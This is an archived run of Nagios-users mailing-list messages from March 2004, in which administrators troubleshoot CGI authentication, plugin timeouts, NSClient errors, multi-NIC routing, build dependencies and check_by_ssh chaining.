administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=ick _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Tue Mar 30 16:30:55 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Tue, 30 Mar 2004 09:30:55 -0500 (EST) Subject: Nagios Client Agent Setup In-Reply-To: <943B458A6A6E0540AD7D80D78DE371040367E08F@exchange3.ubc.ca> References: <943B458A6A6E0540AD7D80D78DE371040367E08F@exchange3.ubc.ca> Message-ID: On Mon, 29 Mar 2004, Atwal, Steve wrote: > I'm getting the following error: > > "It appears as though you do not have permission to view information > for any of the services you requested... If you believe this is an > error, check the HTTP server authentication requirements for accessing > this CGI and check the authorization options in your CGI configuration > file." > > Does this mean that: > > - client agents are not installed on the machines to be monitored? > > If so, can someone point me to the right place to configure the client > agent portion for the machines to be monitored? I believe I have > everything else setup. > It means http authentication is not working. The CGIs use the HTTP REMOTE_USER name (available after authentication) to match to the contact name. -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Tue Mar 30 16:33:22 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Tue, 30 Mar 2004 09:33:22 -0500 (EST) Subject: New to list - searchable archive? In-Reply-To: References: Message-ID: On Mon, 29 Mar 2004, Cliff Riggs wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hello, > > I would first like to thank the developers of Nagios - I am constantly > impressed by its flexibility and power. I have just recently joined > this list and have a specific question on distributed monitoring. I > have visited the page at > http://sourceforge.net/mailarchive/forum.php?forum=nagios-users and I > was wondering if there were a searchable list hosted elsewhere (or even > if I'm missing a big "search" button on that page!). I have spent some > time going backwards in time on a day by day basis, but it is not very > efficient work I'm afraid. > If SF's search is not working properly, try: http://gmane.org/find.php?list=nagios -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Tue Mar 30 16:40:59 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Tue, 30 Mar 2004 09:40:59 -0500 (EST) Subject: Integrating Nagios with Mrtg and SNMP In-Reply-To: <20040330070406.64328.qmail@web9603.mail.yahoo.com> References: <20040330070406.64328.qmail@web9603.mail.yahoo.com> Message-ID: On Mon, 29 Mar 2004, Rajesh Kumar wrote: > Dear All, > Can any one help me in integrating NAGIOS with MRTG so > that I can monitor the bandwidth and other system > parameters over my network of windows and Linux > system???? > I have configured mrtg on my system without rrd. standard plugins: check_mrtgtraf -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From afarrer at africonnect.com Tue Mar 30 16:56:57 2004 From: afarrer at africonnect.com (Alex Farrer) Date: Tue, 30 Mar 2004 15:56:57 +0100 Subject: Required libs for install Message-ID: <5.2.1.1.2.20040330154630.03326530@195.206.160.253> Checked throught the archives and this question has been asked before, but with no answer. Is there a definitive list of libraries (suitable version numbers and urls to download from) that should be installed before installing Nagios to get the full features of the program. Aftr serveral failed attempts to install with the statusmap/trends..etc cgi's I'm not exactly sure that I have everything that is required installed I see in the FAQ there is a list of libraries and a pointer to rpmfind.net, but what about a list of .tar.gz's (+the development ones)? Im trying to install on Fedora Core 1. I've seen numerous other people suffering from the similar problems on this forum so i'm surprised that it's not documented in more detail in the Nagios documentation! Alex ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jdoyle at lewisgaleclinic.com Tue Mar 30 16:58:12 2004 From: jdoyle at lewisgaleclinic.com (Jack Doyle) Date: Tue, 30 Mar 2004 09:58:12 -0500 Subject: Plugin timeout Message-ID: So I could just change the timeout in nagios.cfg and should be straight? ----- John N. Doyle, Network+ Certified Professional Systems Operations Specialist Lewis-Gale Clinic Information Systems 540.772.3669 >PGP Key Available: http://68.106.83.67:8082/pgp.txt -----Original Message----- From: Subhendu Ghosh [mailto:sghosh at sghosh.org] Sent: Tuesday, March 30, 2004 9:56 AM To: Jack Doyle Cc: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] Plugin timeout On Tue, 30 Mar 2004, Jack Doyle wrote: > I'm sure I've seen this somewhere before. But if I'm using a > check_ping and I'm doing 5 pings. I every now and then get a "Plugin > timed out after 10 seconds." Is there a way to extend this timeout > period to about 13 or 14 seconds? I just want to make sure it has > time to do all of the pings before it shows up as timed out. > usually -t specifies plugin timeout. Also Nagios daemon has a default timeout in the nagios.cfg -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Tue Mar 30 16:59:00 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Tue, 30 Mar 2004 09:59:00 -0500 (EST) Subject: Plugin timeout In-Reply-To: References: Message-ID: yes... On Tue, 30 Mar 2004, Jack Doyle wrote: > So I could just change the timeout in nagios.cfg and should be straight? > > ----- > John N. Doyle, Network+ Certified Professional > Systems Operations Specialist > Lewis-Gale Clinic Information Systems > > 540.772.3669 > > >PGP Key Available: http://68.106.83.67:8082/pgp.txt > > > -----Original Message----- > From: Subhendu Ghosh [mailto:sghosh at sghosh.org] > Sent: Tuesday, March 30, 2004 9:56 AM > To: Jack Doyle > Cc: nagios-users at lists.sourceforge.net > Subject: Re: [Nagios-users] Plugin timeout > > > On Tue, 30 Mar 2004, Jack Doyle wrote: > > > I'm sure I've seen this somewhere before. But if I'm using a > > check_ping and I'm doing 5 pings. I every now and then get a "Plugin > > timed out after 10 seconds." Is there a way to extend this timeout > > period to about 13 or 14 seconds? I just want to make sure it has > > time to do all of the pings before it shows up as timed out. > > > > usually -t specifies plugin timeout. > > Also Nagios daemon has a default timeout in the nagios.cfg > > -- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Tue Mar 30 16:55:53 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Tue, 30 Mar 2004 09:55:53 -0500 (EST) Subject: Plugin timeout In-Reply-To: References: Message-ID: On Tue, 30 Mar 2004, Jack Doyle wrote: > I'm sure I've seen this somewhere before. But if I'm using a check_ping > and I'm doing 5 pings. I every now and then get a "Plugin timed out > after 10 seconds." Is there a way to extend this timeout period to > about 13 or 14 seconds? I just want to make sure it has time to do all > of the pings before it shows up as timed out. > usually -t specifies plugin timeout. Also Nagios daemon has a default timeout in the nagios.cfg -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From zhoue at algonquincollege.com Tue Mar 30 17:19:04 2004 From: zhoue at algonquincollege.com (emily zhou) Date: Tue, 30 Mar 2004 10:19:04 -0500 Subject: Error using NSclient: Return code of 139 is out of bound References: <40687475.7000407@algonquincollege.com> <4069273E.4060300@op5.se> Message-ID: <40698FE8.9040109@algonquincollege.com> Hi Andreas, Thank you for your ideas. But there is no anti-virus software installed on that box. I think I'll forget about it for now, as I'll upgrade the whole server from machine to software Nagios (I noticed newest ver. 1.2). After that, to see what happens. Emily Andreas Ericsson wrote: > emily zhou wrote: > >> Hi, >> >> I have monitored NT/2000 using NSclient for CPU, Mem and Disk check >> for a long time, no problem at all until today I found error mesgs >> shown "Return code of 139 is out of bound" about one 2000 box. The >> puzzle is >> that Checking CPU for this box is working fine but Disk and Mem check >> have that error occurred. > > > This could theoretically happen if you have some misbehaving > anti-virus software running (or viruses, which always misbehave. ;-) ). > Check your eventlogs and any runtime virus-detection logs you have. If > you can't find it there, you can try setting the user NSClient runs as > to 'SYSTEM' (is that default?) to make sure any obscure security > enhancing programs you have in place doesn't touch it. This isn't > recommended however, since any bugs in it might result in arbitrary > code execution from remote locations as the system user. > >> I have no idea what's going on, I restarted the Nagios daemon >> (running on Soaris 8) and NSclient agent, no any luck. I just wonder >> if someone could help, thanks a lot. >> >> Emily Zhou >> Unix Admin >> Algonquin College >> > BEGIN-CANIT-VOTING-LINKS ------------------------------------------------------ Teach CanIt if this mail (ID 2717077) is spam: Spam: http://mailgate1.algonquincollege.com/canit/b.php?c=s&i=2717077&m=a90e380222b6 Not spam: http://mailgate1.algonquincollege.com/canit/b.php?c=n&i=2717077&m=a90e380222b6 Forget vote: http://mailgate1.algonquincollege.com/canit/b.php?c=f&i=2717077&m=a90e380222b6 ------------------------------------------------------ END-CANIT-VOTING-LINKS From zhoue at algonquincollege.com Tue Mar 30 17:21:07 2004 From: zhoue at algonquincollege.com (emily zhou) Date: Tue, 30 Mar 2004 10:21:07 -0500 Subject: How to make use of 2 NICs on server instead of 1 Message-ID: <40699063.9020301@algonquincollege.com> Hi, I'm using one Solaris box to monitor 200+ boxes (Unix/NT/Router/Switch/Printers). On Nagios server, we have 2 NICs, right now I only use 1 of them. In order to split the traffic, I intend to use 2 networks, but I just wonder how to conduct bunch of checks going to 1 Nic and others going to another NIC, does anyone have any ideas? Thanks in advance, Emily BEGIN-CANIT-VOTING-LINKS ------------------------------------------------------ Teach CanIt if this mail (ID 2717167) is spam: Spam: http://mailgate1.algonquincollege.com/canit/b.php?c=s&i=2717167&m=9b07a1821bf3 Not spam: http://mailgate1.algonquincollege.com/canit/b.php?c=n&i=2717167&m=9b07a1821bf3 Forget vote: http://mailgate1.algonquincollege.com/canit/b.php?c=f&i=2717167&m=9b07a1821bf3 ------------------------------------------------------ END-CANIT-VOTING-LINKS From sghosh at sghosh.org Tue Mar 30 17:56:19 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Tue, 30 Mar 2004 10:56:19 -0500 (EST) Subject: How to make use of 2 NICs on server instead of 1 In-Reply-To: <40699063.9020301@algonquincollege.com> References: <40699063.9020301@algonquincollege.com> Message-ID: On Tue, 30 Mar 2004, emily zhou wrote: > Hi, > I'm using one Solaris box to monitor 200+ boxes > (Unix/NT/Router/Switch/Printers). On Nagios server, we have 2 NICs, > right now I only use 1 of them. In order to split the traffic, I intend > to use 2 networks, but I just wonder how to conduct bunch of checks > going to 1 Nic and others going to another NIC, does anyone have any ideas? > Depends on your software, switch and routing. If each nic connects to a different network, then the routing will use the appropriate nic. If they connect to the same network, the OS decides which nic to use. Optionally, you can configure load balancing connection to switch - cisco etherchannel or vlan trunk to carry traffic across both links by creating a virtual link. -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pamela at rak.bb.euroweb.sk Tue Mar 30 18:48:20 2004 From: pamela at rak.bb.euroweb.sk (jan gregor) Date: Tue, 30 Mar 2004 18:48:20 +0200 Subject: Integrating Nagios with Mrtg and SNMP In-Reply-To: <20040330101635.A26942@rak.bb.euroweb.sk> References: <20040330070406.64328.qmail@web9603.mail.yahoo.com> <20040330101635.A26942@rak.bb.euroweb.sk> Message-ID: <20040330184820.A2362@rak.bb.euroweb.sk> > > Dear All, > > Can any one help me in integrating NAGIOS with MRTG so > > that I can monitor the bandwidth and other system > > parameters over my network of windows and Linux > > system???? > > I have configured mrtg on my system without rrd. > > I have written a serie of perl scripts, which use nagios config files > (ie. what is monitored is graphed) and fetch data from interfaces to > rrd databases. > Graphs are created on demand by rrdcgi cgi scripts. > If anyone is interested just mail me. Quite a few people have asked me for those scripts, so I rather post it here. Those scripts can be downloaded here: http://www.quadia.sk/nrtg/nrtg.tar.bz2 Please don't blame me both for posting it here and poor perl skills. Best regards Jan Gregor ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Tue Mar 30 19:17:24 2004 From: ae at op5.se (Andreas Ericsson) Date: Tue, 30 Mar 2004 19:17:24 +0200 Subject: Required libs for install In-Reply-To: <5.2.1.1.2.20040330154630.03326530@195.206.160.253> References: <5.2.1.1.2.20040330154630.03326530@195.206.160.253> Message-ID: <4069ABA4.9040202@op5.se> Alex Farrer wrote: > Is there a definitive list of libraries (suitable version numbers and > urls to download from) that should be installed before installing Nagios > to get the full features of the program. ./configure --help It got me all I needed to know. For nagios; zlib png jpeg freetype2 gd2 All of them with header-files if you want Nagios to be able to use them. I've never bothered with the 3D statusmap, so I don't know what extras are required for that. For the plugins the dependancies vary, but most will still build even though a bunch of them have failed dependancies. > Aftr serveral failed attempts > to install with the statusmap/trends..etc cgi's I'm not exactly sure > that I have everything that is required installed I see in the FAQ there > is a list of libraries and a pointer to rpmfind.net, but what about a > list of .tar.gz's (+the development ones)? You can download and compile it from source if you like. That gets you the devel environment as well. gd is at www.boutell.com You'll have to Google for the rest. sourceforge and freshmeat are not uncommon, however. > > I've seen numerous other people suffering from the similar problems on > this forum so i'm surprised that it's not documented in more detail in > the Nagios documentation! > And none of them seemed capable of using any online search engines. Seriously... did you try that first? > Alex -- Mvh / Best Regards Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From arnoldc at mcmservice.com Tue Mar 30 20:05:56 2004 From: arnoldc at mcmservice.com (Arnold Cano) Date: Tue, 30 Mar 2004 18:05:56 +0000 (UTC) Subject: =?utf-8?b?Y2hlY2tfYnlfc3No?= question References: <40634AF6.6040408@op5.se> <20040326024750.5441.qmail@minnow.softflare.net> <4063E7FB.8060605@op5.se> <20040326113545.16764.qmail@minnow.softflare.net> <40642592.3010006@op5.se> <20040326154523.6635.qmail@minnow.softflare.net> <406571D6.3030904@op5.se> <20040329015432.13151.qmail@minnow.softflare.net> <20040330000018.4786.qmail@minnow.softflare.net> Message-ID: > It has its problems. It is not uniform because the configuration of > the NRPE daemon is very different from that of NCSA itself. It has > the advantage that you can run NRPE on a firewall (more secure, on > a machine protected by a firewall, with port forwarding from the > firewall to the NRPE box), whereas check_by_ssh seems to be unable > to be chained (or I couldn't figure out the correct syntax to do it). > The major disadvantage is it's not really secure at all, even with > tcpwappers. Somebody who can eavesdrop your network traffic can send > spoofed requests and get the answers. I was able to chain check_by_ssh in the following way... let me know if you see a problem with this approach or see a better way. checkcommands.cfg: define command { command_name indirect_check_tcp_by_ssh command_line $USER1$/check_by_ssh -H $ARG1$ -C '$USER1$/check_tcp -H $HOSTADDRESS$ -p $ARG2$' } service.cfg: define service { ... check_command indirect_check_tcp_by_ssh!xxx.xxx.xx.x!xxxx } > The mailing list has discussed this several times, so it is in the > archives. However, something in the documentation would be nice. Agreed. An "official" example of this would be nice in the manual to go along with the diagrams. Thanks, Arnold ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From benny at bennyvision.com Tue Mar 30 20:48:33 2004 From: benny at bennyvision.com (C. Bensend) Date: Tue, 30 Mar 2004 12:48:33 -0600 (CST) Subject: New to list - searchable archive? In-Reply-To: References: Message-ID: <2572.134.244.169.17.1080672535.squirrel@webmail.stinkweasel.net> > If SF's search is not working properly, > try: http://gmane.org/find.php?list=nagios Unless Ethan objects, I'm going to request that MARC add the nagios-* lists to their archives as well. I find their interface very clean and easy to use (http://marc.theaimsgroup.com/). I'll try to do that when I get home from work tonight. Benny -- "I can't believe it's not carp!" -- MXC ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From peiffer at umn.edu Tue Mar 30 21:07:25 2004 From: peiffer at umn.edu (Tim Peiffer) Date: Tue, 30 Mar 2004 13:07:25 -0600 Subject: Distributed monitoring Message-ID: <4069C56D.5070608@umn.edu> I would like to get pointers to any documentation that describes nagios distributed monitoring. Does an exhaustive document exist? I would like to do distributed monitoring, using monitoring sources other than Nagios for input. I have text from syslog and other logs that I should be able to use to indicate that something is down. Tim Peiffer University of Minnesota ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rivanor at linuxmail.org Tue Mar 30 21:14:15 2004 From: rivanor at linuxmail.org (Rivanor P. Soares) Date: Tue, 30 Mar 2004 16:14:15 -0300 Subject: Bad information at 'Status information' (web int.) Message-ID: <20040330191415.44F8923AB1@ws5-3.us4.outblaze.com> Hello fellows, I see the following information for only one host, sometimes: /bin/ping -n -U -c 1 10.21.155.238 Why it doesn't show something like: PING CRITICAL - Packet loss = 100% ? And when I ping the host, via console, it is up! Please, any ideas are welcome. Thanks in advance. Rivanor P. Soares [w3b_kn0ws] LPIC-1, CCNA Sao Paulo - SP Brazil -- ______________________________________________ Check out the latest SMS services @ http://www.linuxmail.org This allows you to send and receive SMS through your mailbox. Powered by Outblaze ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rivanor at linuxmail.org Tue Mar 30 21:22:27 2004 From: rivanor at linuxmail.org (Rivanor P. Soares) Date: Tue, 30 Mar 2004 16:22:27 -0300 Subject: Bad information at 'Status information' (web int.) - more information since my 1st mail :) Message-ID: <20040330192227.7C6794160BD@ws5-2.us4.outblaze.com> About my first email (on this subject) when I execute: [nagios at gerenciamento etc]$ /usr/local/nagios/libexec/check_ping -H host -w 3000.0,80% -c 5000.0,100% -p 1 -t 20 PING OK - Packet loss = 0%, RTA = 44.54 ms As you can see, everything goes fine. But no at the web interface, that tells me the host is down. Thanks again. Rivanor P. Soares [w3b_kn0ws] LPIC-1, CCNA Sao Paulo - SP Brazil -- ______________________________________________ Check out the latest SMS services @ http://www.linuxmail.org This allows you to send and receive SMS through your mailbox. Powered by Outblaze ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From zhoue at algonquincollege.com Tue Mar 30 21:37:47 2004 From: zhoue at algonquincollege.com (emily zhou) Date: Tue, 30 Mar 2004 14:37:47 -0500 Subject: How to make use of 2 NICs on server instead of 1 References: Message-ID: <4069CC8B.9040106@algonquincollege.com> Hi Sg, Thank you so much for giving this clue. I'd really like to listen to you a little bit more. For sure, if I'll use 2 Nic, they'll be connected to different networks, in our case is in different VLAN. The issue is that I have to manually setup routing table (static path) instead of simply using defaut gateway, which means forcing the Nagios server goes to one Nic for checking one group of hosts; goes to another Nic when checking another group of hosts. Is that correct? Emily Subhendu Ghosh wrote: > On Tue, 30 Mar 2004, emily zhou wrote: > >> Hi, >> I'm using one Solaris box to monitor 200+ boxes >> (Unix/NT/Router/Switch/Printers). On Nagios server, we have 2 NICs, >> right now I only use 1 of them. In order to split the traffic, I >> intend to use 2 networks, but I just wonder how to conduct bunch of >> checks going to 1 Nic and others going to another NIC, does anyone >> have any ideas? >> > > Depends on your software, switch and routing. > > If each nic connects to a different network, then the routing will use > the appropriate nic. > > If they connect to the same network, the OS decides which nic to use. > > Optionally, you can configure load balancing connection to switch - > cisco etherchannel or vlan trunk to carry traffic across both links by > creating a virtual link. > BEGIN-CANIT-VOTING-LINKS ------------------------------------------------------ Teach CanIt if this mail (ID 2724887) is spam: Spam: http://mailgate1.algonquincollege.com/canit/b.php?c=s&i=2724887&m=5e422f5f2465 Not spam: http://mailgate1.algonquincollege.com/canit/b.php?c=n&i=2724887&m=5e422f5f2465 Forget vote: http://mailgate1.algonquincollege.com/canit/b.php?c=f&i=2724887&m=5e422f5f2465 ------------------------------------------------------ END-CANIT-VOTING-LINKS From sghosh at sghosh.org Tue Mar 30 22:04:50 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Tue, 30 Mar 2004 15:04:50 -0500 (EST) Subject: Nagios Client Agent Setup In-Reply-To: <943B458A6A6E0540AD7D80D78DE371040367E09D@exchange3.ubc.ca> References: <943B458A6A6E0540AD7D80D78DE371040367E09D@exchange3.ubc.ca> Message-ID: yes this is in the documentation and FAQ. There are agents available if you want them - ntpr, nrpe_nt, nsclient. Look under add-on software... -sg On Tue, 30 Mar 2004, Atwal, Steve wrote: > Thanks Subhendu. Is this in the documentation that came with Nagios? > Do you know if there are any client agents to install on the Linux > And Windows servers to manage (couldn't find any information on this)? > > Cheers > Steve > > -----Original Message----- > From: Subhendu Ghosh [mailto:sghosh at sghosh.org] > Sent: Tuesday, March 30, 2004 6:31 AM > To: Atwal, Steve > Cc: 'nagios-users at lists.sourceforge.net' > Subject: Re: [Nagios-users] Nagios Client Agent Setup > > > On Mon, 29 Mar 2004, Atwal, Steve wrote: > > > I'm getting the following error: > > > > "It appears as though you do not have permission to view information > > for any of the services you requested... If you believe this is an > > error, check the HTTP server authentication requirements for accessing > > this CGI and check the authorization options in your CGI configuration > > file." > > > > Does this mean that: > > > > - client agents are not installed on the machines to be monitored? > > > > If so, can someone point me to the right place to configure the client > > agent portion for the machines to be monitored? I believe I have > > everything else setup. > > > > > It means http authentication is not working. The CGIs use the HTTP > REMOTE_USER name (available after authentication) to match to the contact > name. > > -- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dadams at aspect1.net Tue Mar 30 22:20:50 2004 From: dadams at aspect1.net (Dan Adams) Date: Tue, 30 Mar 2004 13:20:50 -0700 Subject: Cgi.cfg reading errors In-Reply-To: <4066B592.6020402@op5.se> References: <4066B592.6020402@op5.se> Message-ID: <000e01c41694$7fb07c60$3c00000a@daninfochi> ---- LONG POST BELOW ---- Andreas, I tried the commands as you had stated and it didn't make much sense. When I tried it with the grep command as part of it, it did not show anything but a black line but when I use grep I am used to it just going to the next prompt if there is nothing to be found, below (at the bottom of the e-mail is the output of the commands. Any more ideas? Dan -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Andreas Ericsson Sent: Sunday, March 28, 2004 4:23 AM To: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] Cgi.cfg reading errors Dan Adams wrote: > Andreas, > I tried that, su to root first then su to both of the users, what > Nagios is and what the web server is. Only the webserver user needs read-access to the files, and it's path will not be relative to DocumentRoot. You can do the following to see what files it's trying to open and what happens when it does. First su to the webserver pseudo-user, then run this little sequence; export REQUEST_METHOD=GET export QUERY_STRING="host=all" export REMOTE_USER="some-authorized-user" strace 2>&1 | grep open | less You will obviously have to replace some-authorized-user with an authorized user, and the 'host=all' string may not work with all CGI's. If you still can't work it out, post the output of the strace-command here and I'll probably be able to help you. > When I did the cat on that filename it > listed the file perfectly fine from both of those users. I also tried > restarting the web server in the event that chmodding the file to 777 > would help. Restarting it after chmod'ing it can't possibly help, since the files are accessed on run-time by the cgi's. > Also, I will ask, in which directory should the nagios.cfg file be > in, I did not see it below the /usr/local/nagios directory tree? > In /usr/local/nagios/etc by default. > Dan > > -----Original Message----- > From: nagios-users-admin at lists.sourceforge.net > [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Andreas > Ericsson > Sent: Saturday, March 27, 2004 1:23 PM > To: nagios-users at lists.sourceforge.net > Subject: Re: [Nagios-users] Cgi.cfg reading errors > > > > > Dan Adams wrote: > >>I have Nagios setup and running on a Unix environment computer, I have >>the cgi.cfg file chmoded to 777, just to make sure it can work, >>however I am 